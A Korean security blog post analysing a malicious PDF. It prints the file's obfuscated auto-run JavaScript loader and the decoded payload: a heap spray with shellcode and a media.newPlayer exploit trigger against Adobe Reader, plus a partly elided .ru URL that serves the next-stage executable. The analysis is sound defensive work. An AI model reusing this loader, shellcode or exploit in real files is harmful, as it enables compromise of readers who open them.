1 0 obj
<< /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction 5 0 R >>
endobj
2 0 obj
<< /Type /Outlines /Count 0 >>
endobj
3 0 obj
<< /Type /Pages /Kids [4 0 R] /Count 1 >>
endobj
4 0 obj
<< /Type /Page /Parent 3 0 R /MediaBox [0 0 612 792] >>
endobj
5 0 obj
<< /Type /Action /S /JavaScript /JS (
/*as*/
s = "13,10,32,13,10,32,102,117,110,99,116,(중략),48,48,48,56,37,,98,117,103,40,41,59,13,10".
replace(/[A-Za-z]/g,function (st)
{
a=223/*asa*/;;
/*aplqs*/;;
b=65;;;;;;
return String.fromCharCode((((st = st.charCodeAt(0)) & a/*asa*/) -10+62) %10+16 + (st & 31+1) + b);
}
).split(",");
/*as*/var aspo = 10;
/* aspo */ var JknnBv="fo";
if (aspo<10)
{
JknnBv = JknnBv + "aspo";;
/*aaa*/;
}
var qqeerR="r";
var qrt="(i";
var HHjdxc="=0";
var Lakqo="i<";
var Aplkqoas="l"+"en";
var df="+"+"+";
var Oakqij="=S";;
/*aspo*/;;
/*aspo*/var nmMJ="o";
/*asasa*/var kas="kas";
var apqko="o";;;
var mas=15;
var UhaQma="[i]);}";
p ="";
/*as*/var asasas=11;
eval(JknnBv+qqeerR+qrt+HHjdxc+";"+Lakqo+"s."+Aplkqoas+"gth"+";i"+df+"){"+"p+"+Oakqij+"tri"+"ng"+".fr"+nmMJ+"mC"+"h"+"arC"+apqko+"de"+"(s"+UhaQma);
/*a1qw*/eval(p);
//*qwqwl*//*1564687*//*qw*////*qwq*///*asaq*//
) >>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000096 00000 n
0000000145 00000 n
0000000205 00000 n
0000000279 00000 n
trailer
<< /Size 6 /Root 1 0 R >>
startxref
1790
%%EOF
이것에 대해서 풀어봤다~
이번에는 필터 값이 주어지지 않아서 많이 힘들었다.
위에 값과 순수한 함수들로 해서 풀리는 것이었다.
for (i = 0; i < s.length; i ++ ){ p += String.fromCharCode(s[i]); }
이 값이 힌트였던거 같았다.
이것이 eval 로 계산을 되어서 최종적인 코드가 나오는 거 같았다.
리플레이스를 해서 eval 시키면 코드들이 주르르 출력된다.
function spray_heap(){
var chunk_size, payload, nopsled;
var payload = unescape("
%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700
%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40
%u588B%u6A3C(중략)u7865%u2E65%u6870%u3F70
%u3D73%u3432%u006E");
chunk_size = 0x8000;
nopsled = unescape("%u0d0d%u0d0d");
while (nopsled.length < chunk_size)nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0; i < 1200; i ++ )heap_chunks[i] = nopsled + payload;
}
function trigger_bug(){
util.printd("1.000000000000000000000000 : 0000000", new Date());
try {
media.newPlayer(null);
}
catch (e){
}
util.printd("1.000000000000000000000000 : 0000000", new Date());
}
spray_heap();
trigger_bug();
밑에 보니 media.newPlayer 가 써있는것을 보니 media.newPlayer 의 취약점을
이용하고 있는거 같았다.
어쨌든 이렇게 코드가 몇일 만에 해석되고 최종 이어지는 파일까지 찾아서 기뻤다.
이어지는 곳은 : http://as08as08s098as09a(생략)s.ru/nsp1/e/exe.php?s=24n
여기 이다!!
ps. 나도 이게 어떻게 하다보니 됐다 안됐다 하니 ㅠ 익숙해질때 까지 노력해야겠다.
'security > 악성코드 유포' 카테고리의 다른 글
네이트온에서 새로운 형태로 유포되는 악성코드 !! (2) | 2011.01.02 |
---|---|
지난주 악성코드 유포지 8곳 !! (0) | 2010.11.23 |
ARP 스푸핑 파일과 연결시켜주는 스크립트 img.js , kol.html !! (6) | 2010.10.30 |
Increase 를 이용한 악성 스크립트는 제작자의 실수 !! (2) | 2010.10.18 |
Increase 를 이용한 악성 스크립트 ! (2) | 2010.10.17 |